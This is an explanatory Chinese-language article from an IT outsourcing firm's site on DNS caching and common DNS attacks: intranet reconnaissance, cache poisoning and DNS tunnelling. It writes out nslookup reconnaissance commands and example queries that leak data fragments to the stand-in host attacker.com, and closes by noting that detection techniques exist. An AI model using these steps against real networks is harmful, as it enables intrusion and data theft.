DNS系统原理和漏洞分析

发布者:上海IT外包来源:http://www.lanmon.net点击数:1458

DNS技术已经存在很长时间了,互联网上的每台计算机都依赖它。但是,使用DNS进行Intranet检测,劫持流量以及创建隐藏通道来窃取数据都是DNS服务可能导致的安全问题。
四,DNS缓存
如果任何用户每次都试图访问www.dingxinsec.com.cn,他们必须向域名服务器发起域名查询请求,这将产生大量的网络流量!因此,为了使计算机不需要每次访问当域名用于向DNS服务器发起IP查询请求时,计算机通常存储自己的域名-IP映射库,称为“DNS缓存” ”。
加速DNS请求响应
减少Internet上DNS请求占用的带宽
但是,DNS缓存方法存在一些问题,包括:
DNS信息的变化需要一些时间来传播。——这意味着所有DNS服务器需要一段时间才能将其缓存更新为最新的IP数据。
攻击者可以利用DNS缓存发起攻击。
有几种不同类型的DNS缓存:
浏览器DNS缓存:目前,大多数浏览器都内置了DNS缓存。使用本地缓存进行DNS解析通常是快速有效的。
操作系统(OS)DNS缓存:目前,大多数用户计算机操作系统都具有可用于管理DNS解析和请求的DNS客户端。这种类型的DNS缓存也是本地化的,因此速度快且不需要带宽。
递归解析DNS缓存:每个DNS递归服务器都有一个DNS缓存,用于存储可以启动下一个请求的IP。
DNS
五,DNS常见漏洞
用户的内部DNS服务器存储用户网络域中所有服务器的内部域名和IP,并且无需身份验证即可实现访问。这使得DNS成为Intranet检测阶段攻击者的重要信息来源。
DNS缓存信息不一定与权限名称服务器一致。攻击者可能会篡改DNS缓存。如果用户Intranet的DNS服务器受到攻击和伪造,则使用DNS服务器启动域名访问的计算机将被欺骗到错误的服务器中。
DNS服务器可以递归地将内联网的域名查询从内联网工作站转发到外部网络服务器。攻击者可能会使用此行为在内部网络和外部网络之间创建“隐藏通道”以泄漏Intranet数据。
1.使用DNS实施检测
一旦攻击者穿透防火墙并进入用户的内部网并控制计算机,它就可以使用内部网的DNS服务来查找重要的服务器信息,例如邮件服务器,域名服务器和其他有价值的信息。如果攻击者具有足够的技术能力,甚至可能使用内部DNS服务器批量发送用户网络区域中的信息,则此类攻击称为“DNS区域传输攻击”。在Windows操作系统环境中实施此攻击的过程如下:
打开命令提示符(ctrl +esc️输入字母“cmd”️输入)
输入“ipconfig”,您将看到当前计算机的域名,IP地址和许多其他信息(将在后续命令中使用)
键入“nslookup [IP]”,您将看到响应请求的DNS服务器名称。如果名称已知,将显示列出名称和IP地址的DNS记录。
键入“nslookup-type=soa [当前计算机的域名]”。执行此命令将返回当前计算机的DNS服务器。如果你试图穿透网络,那将是不方便的。
键入“nslookup-type=MX [当前计算机的域名]”。通过执行此命令,攻击者可以准确地知道网络中邮件服务器的IP信息。
2.使用DNS实施流量重定向
当用户尝试浏览网站时,他们的计算机向DNS服务器查询网站的IP。如果DNS服务器中存在记录的缓存,则将直接返回IP。如果不是,它查询“上游”DNS服务器并将结果中继给最终用户,同时缓存该信息以供下次使用。
在当前已知的攻击中,攻击者能够伪造DNS响应信息,使其看起来来自合法的DNS服务器。为实现此目标,攻击者可以利用DNS的三个弱点:
DNS仅对来自上游服务器的响应执行非常弱的身份验证。响应消息只需要包含正确的事务ID(16位二进制数(0-65536))。事实证明,要猜出正确的交易ID,技术难度并不大。
DNS服务器同时接受多个查询请求,因此攻击者可以同时对事务ID进行多次猜测(类似于暴力密码的想法)。
DNS使用的IP连接很容易伪造。这意味着攻击者可以将流量从一台计算机发送到DNS服务器,使其看起来像来自另一台计算机,例如另一台真正有效的DNS服务器。没有很多类型的IP连接容易伪造,不幸的是,DNS恰好是其中之一。
一旦攻击者成功欺骗DNS响应消息,它就可以篡改接收DNS服务器的缓存。以下是说明此攻击的严重后果的典型方案:
假设攻击者知道用户单元使用外部应用程序来处理重要的事情,例如资金。如果攻击者篡改了用户DNS服务器的相关记录,则攻击者可以欺骗用户进入服务器,诱骗用户输入攻击者伪造登录页面上的帐户和密码信息。更耐心的攻击者也可能将实际流量转发到真实服务器(充当“中间人”),因此用户将不会发现正在发生攻击。一旦获得用户的身份信息,攻击者就可以尝试在其他相关系统上使用身份信息或直接销售信息。
3.使用DNS构建隐藏的频道
假设攻击者已设法进入用户的单位网络,控制内联网计算机,并找到了想要窃取的关键数据。如何将数据传输到网络而不留下任何痕迹?攻击者可以使用称为“DNS隧道”的技术。通常的做法如下:
(1)攻击者在Internet上设置DNS域(例如attacker.com)并创建权限名称服务器。
(2)在攻击者控制的主机上,攻击者可以将数据分成小段并将其插入一系列DNS查询中,如下所示:
Nslookup My1secret1.attacker.com
Nslookup是1I1know.attacker.com
Nsllookup your1data.attacker.com
(3)用户的DNS服务器将接收这些请求并将它们转发回attacker.com的权限名称服务器。攻击者从特权域名服务器收到上述流量后,攻击者可以运行程序提取查询信息的第一部分(.attacker.com之前的内容)并重新组装,从而将数据留在用户中网络没有留下痕迹。转移到网络(在这个例子中传输的数据是“我的秘密是我知道你的数据。”)。用户单元可能永远不会意识到他们的DNS服务器被用于显示他们自己的数据。
摘要
DNS技术已经存在很长时间了,互联网上的每台计算机都依赖它。但是,使用DNS进行Intranet检测,劫持流量以及创建隐藏通道来窃取数据都是DNS服务可能导致的安全问题。幸运的是,通过监控DNS服务器并应用安全数据分析,有许多技术可用于检测和阻止这些攻击。
IT外包
>
400-635-8089
立即
咨询
电话咨询
服务热线
400-635-8089
微信咨询
微信咨询
微信咨询
公众号
公众号
公众号
返回顶部